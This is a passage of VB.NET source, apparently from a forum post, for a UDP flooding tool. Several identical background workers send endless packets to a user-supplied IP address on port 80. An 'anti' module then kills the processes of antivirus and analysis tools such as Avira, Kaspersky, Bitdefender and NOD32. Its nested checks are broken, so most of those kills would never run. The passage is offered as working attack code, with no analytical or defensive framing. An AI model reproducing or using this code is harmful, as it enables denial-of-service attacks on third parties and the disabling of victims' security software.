            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker26_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker26.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker27_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker27.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker28_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker28.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker29_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker29.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub


    Private Sub BackgroundWorker30_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles BackgroundWorker30.DoWork
        Do
            Dim udpClient As New UdpClient
            Dim GLOIP As IPAddress
            Dim bytCommand As Byte() = New Byte() {}
            GLOIP = IPAddress.Parse(TextBox1.Text)
            udpClient.Connect(GLOIP, "80")
            bytCommand = Encoding.ASCII.GetBytes(dosip)
            udpClient.Send(bytCommand, bytCommand.Length)
        Loop
    End Sub
End Class

Module anti:
Code:

کد:
Module anti    Sub killall()
        Dim local As Process() = Process.GetProcesses
        Dim i As Integer
        For i = 0 To local.Length - 1
            Debug.WriteLine(local(i).ProcessName)
            If Strings.UCase(local(i).ProcessName) = Strings.UCase("av") Then 'Avira
                local(i).Kill()
                If Strings.UCase(local(i).ProcessName) = Strings.UCase("hijackthis") Then 'hijackthis
                    local(i).Kill()
                    If Strings.UCase(local(i).ProcessName) = Strings.UCase("sample") Then 'Anubis
                        local(i).Kill()
                        If Strings.UCase(local(i).ProcessName) = Strings.UCase("outpost") Then 'Outpost
                            local(i).Kill()
                            If Strings.UCase(local(i).ProcessName) = Strings.UCase("npfmsg") Then 'Norman
                                local(i).Kill()
                                If Strings.UCase(local(i).ProcessName) = Strings.UCase("bdagent") Then 'Bitdefender
                                    local(i).Kill()
                                    If Strings.UCase(local(i).ProcessName) = Strings.UCase("kavsvc") Then 'Kaspersky
                                        local(i).Kill()
                                        If Strings.UCase(local(i).ProcessName) = Strings.UCase("egui") Then 'Nod32
                                            local(i).Kill()
                                            If Strings.UCase(local(i).ProcessName) = Strings.UCase("zlclient") Then 'Zonealarm
                                                local(i).Kill()
                                            End If
                                        End If
                                    End If
                                End If
                            End If
                        End If
                    End If
                End If
            End If
        Next
    End Sub
End Module